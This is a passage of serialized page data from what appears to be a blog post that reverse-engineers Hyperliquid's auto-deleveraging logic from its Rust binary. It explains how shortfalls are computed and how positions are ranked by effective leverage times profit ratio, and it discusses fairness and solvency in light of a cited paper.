294,"children":160296},{"className":160295},[113952],[160297],{"type":21,"tag":198,"props":160298,"children":160300},{"className":160299},[4842,22435],[160301,160369],{"type":21,"tag":198,"props":160302,"children":160304},{"className":160303},[4847],[160305,160364],{"type":21,"tag":198,"props":160306,"children":160309},{"className":160307,"style":160308},[4852],"height:1.3944em;",[160310,160331,160342],{"type":21,"tag":198,"props":160311,"children":160312},{"style":159538},[160313,160317],{"type":21,"tag":198,"props":160314,"children":160316},{"className":160315,"style":112600},[4861],[],{"type":21,"tag":198,"props":160318,"children":160320},{"className":160319},[4822],[160321],{"type":21,"tag":198,"props":160322,"children":160324},{"className":160323},[4822,27],[160325],{"type":21,"tag":198,"props":160326,"children":160328},{"className":160327},[4822],[160329],{"type":27,"value":160330},"total_cross_notional",{"type":21,"tag":198,"props":160332,"children":160333},{"style":114002},[160334,160338],{"type":21,"tag":198,"props":160335,"children":160337},{"className":160336,"style":112600},[4861],[],{"type":21,"tag":198,"props":160339,"children":160341},{"className":160340,"style":114012},[114011],[],{"type":21,"tag":198,"props":160343,"children":160345},{"style":160344},"top:-3.7em;",[160346,160350],{"type":21,"tag":198,"props":160347,"children":160349},{"className":160348,"style":112600},[4861],[],{"type":21,"tag":198,"props":160351,"children":160353},{"className":160352},[4822],[160354],{"type":21,"tag":198,"props":160355,"children":160357},{"className":160356},[4822,27],[160358],{"type":21,"tag":198,"props":160359,"children":160361},{"className":160360},[4822],[160362],{"type":27,"value":160363},"position_notional",{"type":21,"tag":198,"props":160365,"children":160367},{"className":160366},[22538],[160368],{"type":27,"value":22541},{"type":21,"tag":198,"props":160370,"children":160372},{"className":160371},[4847],[160373],{"type":21,"tag":198,"props":160374,"children":160377},{"className":160375,"style":160376},[4852],"height:0.996em;",[160378],{"type":21,"tag":198,"props":160379,"children":160380},{},[],{"type":21,"tag":198,"props":160382,"children":160384},{"className":160383},[22532,113947],[],{"type":21,"tag":198,"props":160386,"children":160387},{"style":160203},[160388,160392],{"type":21,"tag":198,"props":160389,"children":160391},{"className":160390,"style":160185},[4861],[],{"type":21,"tag":198,"props":160393,"children":160395},{"className":160394},[4822],[160396,160400,160404,160409,160413,160423,160427,160432,160436],{"type":21,"tag":198,"props":160397,"children":160399},{"className":160398},[4822],[],{"type":21,"tag":198,"props":160401,"children":160403},{"className":160402,"style":4998},[4901],[],{"type":21,"tag":198,"props":160405,"children":160407},{"className":160406},[5003],[160408],{"type":27,"value":3174},{"type":21,"tag":198,"props":160410,"children":160412},{"className":160411,"style":4998},[4901],[],{"type":21,"tag":198,"props":160414,"children":160416},{"className":160415},[4822,27],[160417],{"type":21,"tag":198,"props":160418,"children":160420},{"className":160419},[4822],[160421],{"type":27,"value":160422},"user_shortfall",{"type":21,"tag":198,"props":160424,"children":160426},{"className":160425,"style":4902},[4901],[],{"type":21,"tag":198,"props":160428,"children":160430},{"className":160429},[4907],[160431],{"type":27,"value":111691},{"type":21,"tag":198,"props":160433,"children":160435},{"className":160434,"style":4902},[4901],[],{"type":21,"tag":198,"props":160437,"children":160439},{"className":160438},[4822,27],[160440],{"type":21,"tag":198,"props":160441,"children":160443},{"className":160442},[4822],[160444],{"type":27,"value":160200},{"type":21,"tag":198,"props":160446,"children":160448},{"className":160447},[22538],[160449],{"type":27,"value":22541},{"type":21,"tag":198,"props":160451,"children":160453},{"className":160452},[4847],[160454],{"type":21,"tag":198,"props":160455,"children":160457},{"className":160456,"style":160235},[4852],[160458],{"type":21,"tag":198,"props":160459,"children":160460},{},[],{"type":21,"tag":30,"props":160462,"children":160463},{},[160464],{"type":27,"value":160465},"We do that here:",{"type":21,"tag":159428,"props":160467,"children":160470},{"addr":159799,"line-start":160468,"line-end":160469},"828","981",[],{"type":21,"tag":30,"props":160472,"children":160473},{},[160474,160475,160481,160483,160489],{"type":27,"value":534},{"type":21,"tag":159972,"props":160476,"children":160478},{"lines":160477},"77-79",[160479],{"type":27,"value":160480},"inner loop",{"type":27,"value":160482}," above spans all ",{"type":21,"tag":194,"props":160484,"children":160486},{"className":160485},[],[160487],{"type":27,"value":160488},"(asset_idx, direction)",{"type":27,"value":160490}," held in the cross margin position.",{"type":21,"tag":30,"props":160492,"children":160493},{},[160494,160496,160502,160504,160510,160511,160517],{"type":27,"value":160495},"For isolated positions the computation is trivial, and we directly write the single position, with its shortfall, to the ",{"type":21,"tag":194,"props":160497,"children":160499},{"className":160498},[],[160500],{"type":27,"value":160501},"adl_output",{"type":27,"value":160503}," b-tree, which is the output of this transformation for both isolated and cross margin positions, containing both ",{"type":21,"tag":194,"props":160505,"children":160507},{"className":160506},[],[160508],{"type":27,"value":160509},"position_id",{"type":27,"value":11801},{"type":21,"tag":194,"props":160512,"children":160514},{"className":160513},[],[160515],{"type":27,"value":160516},"position_shortfall",{"type":27,"value":658},{"type":21,"tag":159428,"props":160519,"children":160522},{"addr":159799,"line-start":160520,"line-end":160521},"2377","2469",[],{"type":21,"tag":30,"props":160524,"children":160525},{},[160526,160528,160534],{"type":27,"value":160527},"Afterwards we can finally loop over the B-tree containing ",{"type":21,"tag":194,"props":160529,"children":160531},{"className":160530},[],[160532],{"type":27,"value":160533},"(position_id, cut)",{"type":27,"value":160535},", which essentially tells us exactly how much of each position needs to be closed, to be later deleveraged from a winning position.",{"type":21,"tag":30,"props":160537,"children":160538},{},[160539,160541,160546],{"type":27,"value":160540},"The final phase of ",{"type":21,"tag":194,"props":160542,"children":160544},{"className":160543},[],[160545],{"type":27,"value":159753},{"type":27,"value":160547}," iterates it, and for each key it builds a counterparty array, initially including all users holding positions, sorting them based on a per-asset ADL ranking score.",{"type":21,"tag":159428,"props":160549,"children":160552},{"addr":159799,"addr-start":160550,"addr-end":160551},"0x555556ac6d52","0x555556ac6de8",[],{"type":21,"tag":30,"props":160554,"children":160555},{},[160556],{"type":27,"value":160557},"How are positions chosen (sorted) to be deleveraged?",{"type":21,"tag":36146,"props":160559,"children":160561},{"id":160560},"who-do-we-deleverage",[160562],{"type":27,"value":160563},"Who Do We Deleverage?",{"type":21,"tag":30,"props":160565,"children":160566},{},[160567],{"type":27,"value":160568},"This question is essential to the solvency and fairness of a perp platform. It is clear why solvency is a priority here.",{"type":21,"tag":30,"props":160570,"children":160571},{},[160572],{"type":27,"value":160573},"But what do we mean by fairness? Colloquially, we can say that the relative wealth of accounts should not be affected by deleveraging.",{"type":21,"tag":30,"props":160575,"children":160576},{},[160577,160579,160586],{"type":27,"value":160578},"More formally, fairness can be given multiple related definitions; see ",{"type":21,"tag":34,"props":160580,"children":160583},{"href":160581,"rel":160582},"https://arxiv.org/abs/2512.01112",[38],[160584],{"type":27,"value":160585},"this paper",{"type":27,"value":160587},". We want to prove that the algorithm used in HL is not axiomatically fair in its implementation (as defined in prop. 6.1 of the paper).",{"type":21,"tag":30,"props":160589,"children":160590},{},[160591],{"type":27,"value":160592},"So, is Hyperliquid fair? Is it always solvent?",{"type":21,"tag":22,"props":160594,"children":160596},{"id":160595},"adl-score-computation",[160597],{"type":27,"value":160598},"ADL Score Computation",{"type":21,"tag":30,"props":160600,"children":160601},{},[160602,160604,160610,160612,160618,160620,160625],{"type":27,"value":160603},"The score function at ",{"type":21,"tag":194,"props":160605,"children":160607},{"className":160606},[],[160608],{"type":27,"value":160609},"compute_adl_ranking_score",{"type":27,"value":160611}," is core to answering this question. It's defined, most likely as an ",{"type":21,"tag":194,"props":160613,"children":160615},{"className":160614},[],[160616],{"type":27,"value":160617},"Ord",{"type":27,"value":160619}," implementation on some 20-byte address representation. A ",{"type":21,"tag":194,"props":160621,"children":160623},{"className":160622},[],[160624],{"type":27,"value":18012},{"type":27,"value":160626}," of those holds the possible counterparties to fill against, and the trait is used by the sort routines that order them by ranking score for each underwater position.",{"type":21,"tag":30,"props":160628,"children":160629},{},[160630,160632,160637,160639,160645,160647,160654,160656,160663],{"type":27,"value":160631},"Those sort routines are ",{"type":21,"tag":1671,"props":160633,"children":160634},{},[160635],{"type":27,"value":160636},"generated by the compiler",{"type":27,"value":160638},": since Rust binaries include a lot of metadata by default in ",{"type":21,"tag":194,"props":160640,"children":160642},{"className":160641},[],[160643],{"type":27,"value":160644},".comment",{"type":27,"value":160646},", we may even manually ",{"type":21,"tag":34,"props":160648,"children":160651},{"href":160649,"rel":160650},"https://github.com/renato-osec/patina-research/tree/main/tools/chela",[38],[160652],{"type":27,"value":160653},"take advantage",{"type":27,"value":160655}," of this to recover the ",{"type":21,"tag":34,"props":160657,"children":160660},{"href":160658,"rel":160659},"https://github.com/rust-lang/rust/blob/90b35a6239c3d8bdabc530a6a0816f7ff89a0aaf/library/core/src/slice/sort/stable/mod.rs#L22-L29",[38],[160661],{"type":27,"value":160662},"exact source of library functions",{"type":27,"value":658},{"type":21,"tag":30,"props":160665,"children":160666},{},[160667,160669,160674],{"type":27,"value":160668},"Let's see how this ties back into the ",{"type":21,"tag":194,"props":160670,"children":160672},{"className":160671},[],[160673],{"type":27,"value":159753},{"type":27,"value":185},{"type":21,"tag":159428,"props":160676,"children":160678},{"source":159753,"target":160609,"direction":159754,"path":160677},"clearinghouse_adl_orchestrator,driftsort_smallsort_insertion_by_adl_ranking,compute_adl_ranking_score",[],{"type":21,"tag":30,"props":160680,"children":160681},{},[160682],{"type":27,"value":160683},"And here's the main call site used for sorting:",{"type":21,"tag":159428,"props":160685,"children":160688},{"addr":159799,"line-start":160686,"line-end":160687},"2806","2814",[],{"type":21,"tag":22,"props":160690,"children":160692},{"id":160691},"ratio-1-effective-leverage",[160693],{"type":27,"value":160694},"Ratio 1: Effective Leverage",{"type":21,"tag":187,"props":160696,"children":160697},{},[160698],{"type":21,"tag":194,"props":160699,"children":160701},{"className":160700},[4794,159456],[160702],{"type":21,"tag":198,"props":160703,"children":160705},{"className":160704},[159461],[160706],{"type":21,"tag":198,"props":160707,"children":160709},{"className":160708},[4800],[160710],{"type":21,"tag":198,"props":160711,"children":160713},{"className":160712,"ariaHidden":4806},[4805],[160714,160745],{"type":21,"tag":198,"props":160715,"children":160717},{"className":160716},[4811],[160718,160722,160732,160736,160741],{"type":21,"tag":198,"props":160719,"children":160721},{"className":160720,"style":115484},[4816],[],{"type":21,"tag":198,"props":160723,"children":160725},{"className":160724},[4822,27],[160726],{"type":21,"tag":198,"props":160727,"children":160729},{"className":160728},[4822],[160730],{"type":27,"value":160731},"effective leverage",{"type":21,"tag":198,"props":160733,"children":160735},{"className":160734,"style":4998},[4901],[],{"type":21,"tag":198,"props":160737,"children":160739},{"className":160738},[5003],[160740],{"type":27,"value":3174},{"type":21,"tag":198,"props":160742,"children":160744},{"className":160743,"style":4998},[4901],[],{"type":21,"tag":198,"props":160746,"children":160748},{"className":160747},[4811],[160749,160754],{"type":21,"tag":198,"props":160750,"children":160753},{"className":160751,"style":160752},[4816],"height:2.113em;vertical-align:-0.686em;",[],{"type":21,"tag":198,"props":160755,"children":160757},{"className":160756},[4822],[160758,160762,160857],{"type":21,"tag":198,"props":160759,"children":160761},{"className":160760},[22510,113947],[],{"type":21,"tag":198,"props":160763,"children":160765},{"className":160764},[113952],[160766],{"type":21,"tag":198,"props":160767,"children":160769},{"className":160768},[4842,22435],[160770,160845],{"type":21,"tag":198,"props":160771,"children":160773},{"className":160772},[4847],[160774,160840],{"type":21,"tag":198,"props":160775,"children":160777},{"className":160776,"style":159534},[4852],[160778,160799,160810],{"type":21,"tag":198,"props":160779,"children":160780},{"style":159538},[160781,160785],{"type":21,"tag":198,"props":160782,"children":160784},{"className":160783,"style":112600},[4861],[],{"type":21,"tag":198,"props":160786,"children":160788},{"className":160787},[4822],[160789],{"type":21,"tag":198,"props":160790,"children":160792},{"className":160791},[4822,27],[160793],{"type":21,"tag":198,"props":160794,"children":160796},{"className":160795},[4822],[160797],{"type":27,"value":160798},"account value",{"type":21,"tag":198,"props":160800,"children":160801},{"style":114002},[160802,160806],{"type":21,"tag":198,"props":160803,"children":160805},{"className":160804,"style":112600},[4861],[],{"type":21,"tag":198,"props":160807,"children":160809},{"className":160808,"style":114012},[114011],[],{"type":21,"tag":198,"props":160811,"children":160812},{"style":159589},[160813,160817],{"type":21,"tag":198,"props":160814,"children":160816},{"className":160815,"style":112600},[4861],[],{"type":21,"tag":198,"props":160818,"children":160820},{"className":160819},[4822],[160821,160826,160835],{"type":21,"tag":198,"props":160822,"children":160824},{"className":160823},[4822],[160825],{"type":27,"value":159604},{"type":21,"tag":198,"props":160827,"children":160829},{"className":160828},[4822,27],[160830],{"type":21,"tag":198,"props":160831,"children":160833},{"className":160832},[4822],[160834],{"type":27,"value":159614},{"type":21,"tag":198,"props":160836,"children":160838},{"className":160837},[4822],[160839],{"type":27,"value":159604},{"type":21,"tag":198,"props":160841,"children":160843},{"className":160842},[22538],[160844],{"type":27,"value":22541},{"type":21,"tag":198,"props":160846,"children":160848},{"className":160847},[4847],[160849],{"type":21,"tag":198,"props":160850,"children":160853},{"className":160851,"style":160852},[4852],"height:0.686em;",[160854],{"type":21,"tag":198,"props":160855,"children":160856},{},[],{"type":21,"tag":198,"props":160858,"children":160860},{"className":160859},[22532,113947],[],{"type":21,"tag":30,"props":160862,"children":160863},{},[160864,160866,160872,160874,160880,160881,160887,160889,160895],{"type":27,"value":160865},"We can see in the decompilation below, through the SIMD noise, that ",{"type":21,"tag":194,"props":160867,"children":160869},{"className":160868},[],[160870],{"type":27,"value":160871},"abs_notional",{"type":27,"value":160873}," (unsigned), and ",{"type":21,"tag":194,"props":160875,"children":160877},{"className":160876},[],[160878],{"type":27,"value":160879},"float.d(rbx)",{"type":27,"value":6314},{"type":21,"tag":194,"props":160882,"children":160884},{"className":160883},[],[160885],{"type":27,"value":160886},"account_value",{"type":27,"value":160888}," (signed); the division is ",{"type":21,"tag":194,"props":160890,"children":160892},{"className":160891},[],[160893],{"type":27,"value":160894},"abs_notional / account_value",{"type":27,"value":658},{"type":21,"tag":30,"props":160897,"children":160898},{},[160899],{"type":27,"value":160900},"This tells us the risk multiplier that the user took on for this position.",{"type":21,"tag":159428,"props":160902,"children":160906},{"addr":160903,"line-start":160904,"line-end":160905},"0x555556abb140","278","296",[],{"type":21,"tag":22,"props":160908,"children":160910},{"id":160909},"ratio-2-profit-ratio",[160911],{"type":27,"value":160912},"Ratio 2: Profit Ratio",{"type":21,"tag":187,"props":160914,"children":160915},{},[160916],{"type":21,"tag":194,"props":160917,"children":160919},{"className":160918},[4794,159456],[160920],{"type":21,"tag":198,"props":160921,"children":160923},{"className":160922},[159461],[160924],{"type":21,"tag":198,"props":160925,"children":160927},{"className":160926},[4800],[160928],{"type":21,"tag":198,"props":160929,"children":160931},{"className":160930,"ariaHidden":4806},[4805],[160932,160963],{"type":21,"tag":198,"props":160933,"children":160935},{"className":160934},[4811],[160936,160940,160950,160954,160959],{"type":21,"tag":198,"props":160937,"children":160939},{"className":160938,"style":115484},[4816],[],{"type":21,"tag":198,"props":160941,"children":160943},{"className":160942},[4822,27],[160944],{"type":21,"tag":198,"props":160945,"children":160947},{"className":160946},[4822],[160948],{"type":27,"value":160949},"profit ratio",{"type":21,"tag":198,"props":160951,"children":160953},{"className":160952,"style":4998},[4901],[],{"type":21,"tag":198,"props":160955,"children":160957},{"className":160956},[5003],[160958],{"type":27,"value":3174},{"type":21,"tag":198,"props":160960,"children":160962},{"className":160961,"style":4998},[4901],[],{"type":21,"tag":198,"props":160964,"children":160966},{"className":160965},[4811],[160967,160971],{"type":21,"tag":198,"props":160968,"children":160970},{"className":160969,"style":159509},[4816],[],{"type":21,"tag":198,"props":160972,"children":160974},{"className":160973},[4822],[160975,160979,161098],{"type":21,"tag":198,"props":160976,"children":160978},{"className":160977},[22510,113947],[],{"type":21,"tag":198,"props":160980,"children":160982},{"className":160981},[113952],[160983],{"type":21,"tag":198,"props":160984,"children":160986},{"className":160985},[4842,22435],[160987,161087],{"type":21,"tag":198,"props":160988,"children":160990},{"className":160989},[4847],[160991,161082],{"type":21,"tag":198,"props":160992,"children":160994},{"className":160993,"style":159534},[4852],[160995,161016,161027],{"type":21,"tag":198,"props":160996,"children":160997},{"style":159538},[160998,161002],{"type":21,"tag":198,"props":160999,"children":161001},{"className":161000,"style":112600},[4861],[],{"type":21,"tag":198,"props":161003,"children":161005},{"className":161004},[4822],[161006],{"type":21,"tag":198,"props":161007,"children":161009},{"className":161008},[4822,27],[161010],{"type":21,"tag":198,"props":161011,"children":161013},{"className":161012},[4822],[161014],{"type":27,"value":161015},"entry notional",{"type":21,"tag":198,"props":161017,"children":161018},{"style":114002},[161019,161023],{"type":21,"tag":198,"props":161020,"children":161022},{"className":161021,"style":112600},[4861],[],{"type":21,"tag":198,"props":161024,"children":161026},{"className":161025,"style":114012},[114011],[],{"type":21,"tag":198,"props":161028,"children":161029},{"style":159589},[161030,161034],{"type":21,"tag":198,"props":161031,"children":161033},{"className":161032,"style":112600},[4861],[],{"type":21,"tag":198,"props":161035,"children":161037},{"className":161036},[4822],[161038,161044,161049,161059,161064,161068,161072,161077],{"type":21,"tag":198,"props":161039,"children":161041},{"className":161040},[22417],[161042],{"type":27,"value":161043},"max",{"type":21,"tag":198,"props":161045,"children":161047},{"className":161046},[22510],[161048],{"type":27,"value":706},{"type":21,"tag":198,"props":161050,"children":161052},{"className":161051},[4822,27],[161053],{"type":21,"tag":198,"props":161054,"children":161056},{"className":161055},[4822],[161057],{"type":27,"value":161058},"pnl",{"type":21,"tag":198,"props":161060,"children":161062},{"className":161061},[4933],[161063],{"type":27,"value":2205},{"type":21,"tag":198,"props":161065,"children":161067},{"className":161066,"style":4939},[4901],[],{"type":21,"tag":198,"props":161069,"children":161071},{"className":161070,"style":4939},[4901],[],{"type":21,"tag":198,"props":161073,"children":161075},{"className":161074},[4822],[161076],{"type":27,"value":3482},{"type":21,"tag":198,"props":161078,"children":161080},{"className":161079},[22532],[161081],{"type":27,"value":2109},{"type":21,"tag":198,"props":161083,"children":161085},{"className":161084},[22538],[161086],{"type":27,"value":22541},{"type":21,"tag":198,"props":161088,"children":161090},{"className":161089},[4847],[161091],{"type":21,"tag":198,"props":161092,"children":161094},{"className":161093,"style":159632},[4852],[161095],{"type":21,"tag":198,"props":161096,"children":161097},{},[],{"type":21,"tag":198,"props":161099,"children":161101},{"className":161100},[22532,113947],[],{"type":21,"tag":30,"props":161103,"children":161104},{},[161105,161107,161113],{"type":27,"value":161106},"It uses entry notional (",{"type":21,"tag":194,"props":161108,"children":161110},{"className":161109},[],[161111],{"type":27,"value":161112},"r14_2",{"type":27,"value":161114},") as the divisor. PNL is clamped to non-negative before division.",{"type":21,"tag":30,"props":161116,"children":161117},{},[161118],{"type":27,"value":161119},"This basically tells us how well the user's bet went.",{"type":21,"tag":159428,"props":161121,"children":161125},{"addr":161122,"addr-start":161123,"addr-end":161124},"0x555556abb76d","0x555556abb8d7","0x555556abb952",[],{"type":21,"tag":30,"props":161127,"children":161128},{},[161129,161131,161137,161139,161145],{"type":27,"value":161130},"There is clamping to avoid rounding issues. Both ratios are clamped to a minimum of ",{"type":21,"tag":194,"props":161132,"children":161134},{"className":161133},[],[161135],{"type":27,"value":161136},"1e-8",{"type":27,"value":161138},", in order not to cancel each other out. The final ADL ranking score is ",{"type":21,"tag":194,"props":161140,"children":161142},{"className":161141},[],[161143],{"type":27,"value":161144},"effective_leverage * profit_ratio",{"type":27,"value":161146},", consistent with both ratio directions and the max clamp on PNL.",{"type":21,"tag":30,"props":161148,"children":161149},{},[161150],{"type":27,"value":161151},"So, in essence, we look for risky and profitable positions!",{"type":21,"tag":59,"props":161153,"children":161155},{"id":161154},"partial-and-total-adl",[161156],{"type":27,"value":161157},"Partial and Total ADL",{"type":21,"tag":30,"props":161159,"children":161160},{},[161161],{"type":27,"value":161162},"Finally, note that deleveraging can also be partial, but even then it goes by the order defined by this score.",{"type":21,"tag":30,"props":161164,"children":161165},{},[161166],{"type":27,"value":161167},"Here, we fork based on whether ADL is total or not, closing the position in the former case.",{"type":21,"tag":30,"props":161169,"children":161170},{},[161171,161173,161178],{"type":27,"value":161172},"So essentially, in pseudocode, the whole latter part of ",{"type":21,"tag":194,"props":161174,"children":161176},{"className":161175},[],[161177],{"type":27,"value":159753},{"type":27,"value":161179}," boils down to:",{"type":21,"tag":159428,"props":161181,"children":161184},{"addr":159799,"line-start":161182,"line-end":161183},"3252","3632",[],{"type":21,"tag":30,"props":161186,"children":161187},{},[161188],{"type":27,"value":161189},"Note that fill.pos_szi is the full position size of the insolvent user, not just the position shortfall. This is key to understanding the financial implications of ADL.",{"type":21,"tag":36146,"props":161191,"children":161193},{"id":161192},"branches",[161194],{"type":27,"value":161195},"Branches",{"type":21,"tag":30,"props":161197,"children":161198},{},[161199],{"type":27,"value":161200},"There is still much to be explored here: we could try to take a leap forward and conjecture some financial conclusions from what we've learned so far, or we could take a step back and do some introspection on the tools that made this all possible.",{"type":21,"tag":30,"props":161202,"children":161203},{},[161204],{"type":27,"value":161205},"Given the polar opposite direction of those two ends, the author has decided to let the reader choose their own adventure:",{"type":21,"tag":36146,"props":161207,"children":161209},{"id":161208},"financial-conclusions",[161210],{"type":27,"value":161211},"Financial Conclusions",{"type":21,"tag":22,"props":161213,"children":161215},{"id":161214},"fairness-revenue-solvency-trilemma",[161216],{"type":27,"value":161217},"Fairness, Revenue, Solvency Trilemma",{"type":21,"tag":30,"props":161219,"children":161220},{},[161221,161223,161229],{"type":27,"value":161222},"Aligning with the trilemma proposed in §2.1, prop. 2.5 of ",{"type":21,"tag":34,"props":161224,"children":161226},{"href":160581,"rel":161225},[38],[161227],{"type":27,"value":161228},"the paper mentioned before",{"type":27,"value":161230},", let's try to quantify a concrete estimate for each axis of the trilemma:",{"type":21,"tag":138,"props":161232,"children":161233},{},[161234,161244,161254],{"type":21,"tag":75,"props":161235,"children":161236},{},[161237,161242],{"type":21,"tag":1671,"props":161238,"children":161239},{},[161240],{"type":27,"value":161241},"Solvency",{"type":27,"value":161243},": can the platform pay every trader out?",{"type":21,"tag":75,"props":161245,"children":161246},{},[161247,161252],{"type":21,"tag":1671,"props":161248,"children":161249},{},[161250],{"type":27,"value":161251},"Fairness",{"type":27,"value":161253},": we will use the axiomatic fairness definition per prop. 3.4.",{"type":21,"tag":75,"props":161255,"children":161256},{},[161257,161262],{"type":21,"tag":1671,"props":161258,"children":161259},{},[161260],{"type":27,"value":161261},"Revenue",{"type":27,"value":161263},": the fraction of total winner PNL that survives after deleveraging.",{"type":21,"tag":30,"props":161265,"children":161266},{},[161267],{"type":27,"value":161268},"Let's borrow these definitions from the paper:",{"type":21,"tag":187,"props":161270,"children":161271},{},[161272],{"type":21,"tag":194,"props":161273,"children":161275},{"className":161274},[4794,159456],[161276],{"type":21,"tag":198,"props":161277,"children":161279},{"className":161278},[159461],[161280],{"type":21,"tag":198,"props":161281,"children":161283},{"className":161282},[4800],[161284],{"type":21,"tag":198,"props":161285,"children":161287},{"className":161286,"ariaHidden":4806},[4805],[161288],{"type":21,"tag":198,"props":161289,"children":161291},{"className":161290},[4811],[161292,161297],{"type":21,"tag":198,"props":161293,"children":161296},{"className":161294,"style":161295},[4816],"height:23.1785em;vertical-align:-11.3392em;",[],{"type":21,"tag":198,"props":161298,"children":161300},{"className":161299},[4822],[161301],{"type":21,"tag":198,"props":161302,"children":161304},{"className":161303},[160158],[161305,162124],{"type":21,"tag":198,"props":161306,"children":161308},{"className":161307},[160163],[161309],{"type":21,"tag":198,"props":161310,"children":161312},{"className":161311},[4842,22435],[161313,162112],{"type":21,"tag":198,"props":161314,"children":161316},{"className":161315},[4847],[161317,162107],{"type":21,"tag":198,"props":161318,"children":161321},{"className":161319,"style":161320},[4852],"height:11.8392em;",[161322,161393,161410,161479,161549,161618,161688,161757,161826,161895,161965,162036],{"type":21,"tag":198,"props":161323,"children":161325},{"style":161324},"top:-14.3707em;",[161326,161331],{"type":21,"tag":198,"props":161327,"children":161330},{"className":161328,"style":161329},[4861],"height:3.3714em;",[],{"type":21,"tag":198,"props":161332,"children":161334},{"className":161333},[4822],[161335],{"type":21,"tag":198,"props":161336,"children":161338},{"className":161337},[4822],[161339,161344],{"type":21,"tag":198,"props":161340,"children":161342},{"className":161341,"style":22382},[4822,22381],[161343],{"type":27,"value":22385},{"type":21,"tag":198,"props":161345,"children":161347},{"className":161346},[4837],[161348],{"type":21,"tag":198,"props":161349,"children":161351},{"className":161350},[4842,22435],[161352,161382],{"type":21,"tag":198,"props":161353,"children":161355},{"className":161354},[4847],[161356,161377],{"type":21,"tag":198,"props":161357,"children":161359},{"className":161358,"style":109861},[4852],[161360],{"type":21,"tag":198,"props":161361,"children":161363},{"style":161362},"top:-2.55em;margin-left:-0.1389em;margin-right:0.05em;",[161364,161368],{"type":21,"tag":198,"props":161365,"children":161367},{"className":161366,"style":4862},[4861],[],{"type":21,"tag":198,"props":161369,"children":161371},{"className":161370},[4867,4868,4869,4870],[161372],{"type":21,"tag":198,"props":161373,"children":161375},{"className":161374},[4822,22381,4870],[161376],{"type":27,"value":56780},{"type":21,"tag":198,"props":161378,"children":161380},{"className":161379},[22538],[161381],{"type":27,"value":22541},{"type":21,"tag":198,"props":161383,"children":161385},{"className":161384},[4847],[161386],{"type":21,"tag":198,"props":161387,"children":161389},{"className":161388,"style":93512},[4852],[161390],{"type":21,"tag":198,"props":161391,"children":161392},{},[],{"type":21,"tag":198,"props":161394,"children":161396},{"style":161395},"top:-12.8707em;",[161397,161401],{"type":21,"tag":198,"props":161398,"children":161400},{"className":161399,"style":161329},[4861],[],{"type":21,"tag":198,"props":161402,"children":161404},{"className":161403},[4822],[161405],{"type":21,"tag":198,"props":161406,"children":161408},{"className":161407,"style":95449},[4822,22381],[161409],{"type":27,"value":95483},{"type":21,"tag":198,"props":161411,"children":161413},{"style":161412},"top:-10.8392em;",[161414,161418],{"type":21,"tag":198,"props":161415,"children":161417},{"className":161416,"style":161329},[4861],[],{"type":21,"tag":198,"props":161419,"children":161421},{"className":161420},[4822],[161422],{"type":21,"tag":198,"props":161423,"children":161425},{"className":161424},[4822],[161426,161431],{"type":21,"tag":198,"props":161427,"children":161429},{"className":161428},[4822,22381],[161430],{"type":27,"value":3954},{"type":21,"tag":198,"props":161432,"children":161434},{"className":161433},[4837],[161435],{"type":21,"tag":198,"props":161436,"children":161438},{"className":161437},[4842,22435],[161439,161468],{"type":21,"tag":198,"props":161440,"children":161442},{"className":161441},[4847],[161443,161463],{"type":21,"tag":198,"props":161444,"children":161446},{"className":161445,"style":93958},[4852],[161447],{"type":21,"tag":198,"props":161448,"children":161449},{"style":93485},[161450,161454],{"type":21,"tag":198,"props":161451,"children":161453},{"className":161452,"style":4862},[4861],[],{"type":21,"tag":198,"props":161455,"children":161457},{"className":161456},[4867,4868,4869,4870],[161458],{"type":21,"tag":198,"props":161459,"children":161461},{"className":161460},[4822,22381,4870],[161462],{"type":27,"value":4544},{"type":21,"tag":198,"props":161464,"children":161466},{"className":161465},[22538],[161467],{"type":27,"value":22541},{"type":21,"tag":198,"props":161469,"children":161471},{"className":161470},[4847],[161472],{"type":21,"tag":198,"props":161473,"children":161475},{"className":161474,"style":93512},[4852],[161476],{"type":21,"tag":198,"props":161477,"children":161478},{},[],{"type":21,"tag":198,"props":161480,"children":161482},{"style":161481},"top:-8.8188em;",[161483,161487],{"type":21,"tag":198,"props":161484,"children":161486},{"className":161485,"style":161329},[4861],[],{"type":21,"tag":198,"props":161488,"children":161490},{"className":161489},[4822],[161491],{"type":21,"tag":198,"props":161492,"children":161494},{"className":161493},[4822],[161495,161501],{"type":21,"tag":198,"props":161496,"children":161498},{"className":161497,"style":93915},[4822,22381],[161499],{"type":27,"value":161500},"π",{"type":21,"tag":198,"props":161502,"children":161504},{"className":161503},[4837],[161505],{"type":21,"tag":198,"props":161506,"children":161508},{"className":161507},[4842,22435],[161509,161538],{"type":21,"tag":198,"props":161510,"children":161512},{"className":161511},[4847],[161513,161533],{"type":21,"tag":198,"props":161514,"children":161516},{"className":161515,"style":93958},[4852],[161517],{"type":21,"tag":198,"props":161518,"children":161519},{"style":93962},[161520,161524],{"type":21,"tag":198,"props":161521,"children":161523},{"className":161522,"style":4862},[4861],[],{"type":21,"tag":198,"props":161525,"children":161527},{"className":161526},[4867,4868,4869,4870],[161528],{"type":21,"tag":198,"props":161529,"children":161531},{"className":161530},[4822,22381,4870],[161532],{"type":27,"value":4544},{"type":21,"tag":198,"props":161534,"children":161536},{"className":161535},[22538],[161537],{"type":27,"value":22541},{"type":21,"tag":198,"props":161539,"children":161541},{"className":161540},[4847],[161542],{"type":21,"tag":198,"props":161543,"children":161545},{"className":161544,"style":93512},[4852],[161546],{"type":21,"tag":198,"props":161547,"children":161548},{},[],{"type":21,"tag":198,"props":161550,"children":161552},{"style":161551},"top:-7.3188em;",[161553,161557],{"type":21,"tag":198,"props":161554,"children":161556},{"className":161555,"style":161329},[4861],[],{"type":21,"tag":198,"props":161558,"children":161560},{"className":161559},[4822],[161561],{"type":21,"tag":198,"props":161562,"children":161564},{"className":161563},[4822],[161565,161570],{"type":21,"tag":198,"props":161566,"children":161568},{"className":161567},[4822,22381],[161569],{"type":27,"value":51830},{"type":21,"tag":198,"props":161571,"children":161573},{"className":161572},[4837],[161574],{"type":21,"tag":198,"props":161575,"children":161577},{"className":161576},[4842,22435],[161578,161607],{"type":21,"tag":198,"props":161579,"children":161581},{"className":161580},[4847],[161582,161602],{"type":21,"tag":198,"props":161583,"children":161585},{"className":161584,"style":93958},[4852],[161586],{"type":21,"tag":198,"props":161587,"children":161588},{"style":93485},[161589,161593],{"type":21,"tag":198,"props":161590,"children":161592},{"className":161591,"style":4862},[4861],[],{"type":21,"tag":198,"props":161594,"children":161596},{"className":161595},[4867,4868,4869,4870],[161597],{"type":21,"tag":198,"props":161598,"children":161600},{"className":161599},[4822,22381,4870],[161601],{